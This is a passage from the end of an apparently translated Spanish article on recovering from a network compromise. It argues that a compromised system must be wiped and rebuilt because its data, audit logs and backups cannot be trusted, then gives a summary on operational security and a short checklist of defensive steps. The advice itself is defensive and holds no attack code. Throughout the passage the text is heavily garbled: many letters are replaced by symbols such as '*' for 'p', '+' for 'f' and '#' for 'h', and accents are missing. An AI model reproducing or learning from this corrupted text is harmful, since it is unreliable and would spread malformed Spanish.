momento. Nosotros *re+erimos a*lanar el sistema $ reconstruirlo *ara asegurarnos "ue
tenemos un sistema lim*io.
.o puedes limpiar un sistema comprometido reinstalando el sistema operativo sobre la
instalacin existente. Btra ,e)' el atacante *uede "ue tenga buenas #erramientas des*legadas
"ue mientan al instalador. /i eso ocurre' el instalador *uede "ue no borre realmente los
+ic#eros com*rometidos. Adem0s' el atacante *uede "ue #a$a instalado *uertas traseras en
com*onentes "ue no sean del sistema o*erati,o.
.o puedes confiar en datos copiados de un sistema comprometido. Des*u(s de "ue un
atacante entre en un sistema' toda la in+ormacin "ue contenga *uede ser modi+icada. &o*iar
datos de un sistema com*rometido $ *onerlo en un sistema lim*io *uede en el me8or de los
casos darte datos no +iables. Pero en el *eor de los casos' *uede "ue acabes co*iando el
tro$ano o la *uerta trasera ocultos entre los datos.
.o puedes fiarte de los eventos auditados de un sistema comprometido. Des*u(s de "ue un
atacante obtenga acceso com*leto al sistema' es sencillo modi+icar los e,entos auditados
*ara cubrir sus rastros. /i con+an en los e,entos auditados *ara decirte "ue es lo "ue el
atacante #a #ec#o en tu sistema' *uede "ue acabes le$endo lo "ue (l "uiere "ue leas. /i
*uedes sacar de un modo sncrono los logs del sistema antes de "ue la accin de un atacante
se com*lete' *odras +iarte de los registros. /in embargo' si los logs se co*ian de un modo
asncrono -*or e8em*lo' cuando la accin est0 *rocedi(ndose. o des*u(s del accin' esos
logs *uede "ue est(n com*rometidos tambi(n.
,uede que no seas capaz de fiarte de tu ltimo bac/up. &mo *odras decir cuando ocurri
el ata"ue original% 3os e,entos auditados *uede "ue no sean su+icientemente +iables como
*ara "ue te lo digan. /in ese conocimiento' tu :ltima co*ia de seguridad no ,ale *ara nada.
Puede "ue sea una co*ia de res*aldo "ue inclu$e todas las *uertas traseras "ue actualmente
est0n en el sistema.
La nica manera adecuada de limpiar un sistema comprometido es aplanando 0
reconstru0endo. Un sistema "ue #a sido com*letamente com*rometido debera lim*iarse
com*letamente $ reconstruirse desde cero. De un modo alternati,o' *odras *or su*uesto
traba8ar en tu currculo en ,e) de eso' *ero no "ueremos ,erte #aci(ndolo.
/i consideras las alternati,as' *arece "ue merece muc#o la *ena in,ertir cierto es+uer)o en mantener
los sistemas sin #ackear desde un *rinci*io.
/umario
2n este artculo #emos examinado' con detalles bastante *recisos' como una red *uede ser
#ackeada. 2ste artculo no demuestra "ue las redes basadas en Windows son menos seguras "ue
cual"uier otra red. Aun"ue los detalles es*ec+icos del ata"ue demostrados en este artculo son
exclusi,os *ara Windows' con *e"ue7as modi+icaciones de las t(cnicas $ con un nue,o 8uego de
#erramientas *odramos #acer el mismo com*romiso en cual"uier red "ue corra sobre cual"uier
*lata+orma. 2l *roblema no est0 la *lata+orma' sino en las *r0cticas de uso. 5odas las *lata+ormas
*ueden mantenerse seguras' *ero todas las redes son ex*lotables si no est0n organi)adas e
im*lementadas con cuidado. 3as t(cnicas *uede "ue ,aren' *ero el resultado +inal' no. Una
im*lementacin *obre es una im*lementacin *obre' inde*endientemente de la *lata+orma en la "ue
se base.
5ambi(n #emos demostrado "ue ex*lotar una red es com*letamente *osible usando tan solo
*roblemas de seguridad o*eracionales. Fi8aros "ue no #emos ex*lotado ninguna ,ulnerabilidad en
la *lata+orma. 3a :nica ,ulnerabilidad *rogram0tica ex*lotada +ue la de la a*licacin Web
*ersonali)ada. <emos sido incluso ca*aces de #acerlo en una red donde todos $ cada uno de los
#osts estaban com*letamente *arc#eados $ actuali)ados. /im*lemente *arc#ear no es el ob8eti,o
*rinci*al de la seguridad. Parc#ear es im*ortante' *ero tambi(n es im*ortante com*render "ue es lo
"ue logras al *arc#ear= te *ermite :nicamente en+ocarte en la ar"uitectura $ la im*lementacin de tu
red.
Por :ltimo' no *odemos acentuar su+icientemente "ue com*render los *atrones $ las *r0cticas "ue
un atacante ex*lota es crucial *ara com*render como *roteger una red. 2sto no signi+ica "ue el
administrador de sistemas $ de seguridad necesita ser ca*a) de ex*lotar todos estos *roblemas. 5an
solo necesita com*render "ue es lo "ue un atacante *uede #acer *ara *oder lograr una ma$or
com*rensin sobre como *rotegerse contra ellos. Al +inal' necesitamos *rotegernos contra todos
estos *roblemas% Probablemente no. /e trata de gestin de riesgos. 5u *oltica de seguridad necesita
cubrir los ti*os de riesgo "ue est0s dis*uesto a ace*tar *ara ganar cierta +uncionalidad $ +acilitar el
uso. No ol,ides el dese"uilibrio +undamental entre lo seguro' lo *r0ctico $ lo barato. Ya "ue la
ma$ora de las redes est0n dise7adas *ensando en recursos limitados' la *oltica necesita decirnos
"ue true"ues son ace*tables.
Qu# De$eras Hacer Hoy
;n,estigar las *r0cticas de seguridad de todos los socios "ue tengan conexiones a tu red.
&errar todos los agu8eros innecesarios de tu corta+uegos
Filtrar todo el tr0+ico de salida de tu corta+uegos.
Parc#earlo todo.
2m*e)ar a *ensar sobre reducir la su*er+icie de ata"ue de tus #osts.

Vous aimerez peut-être aussi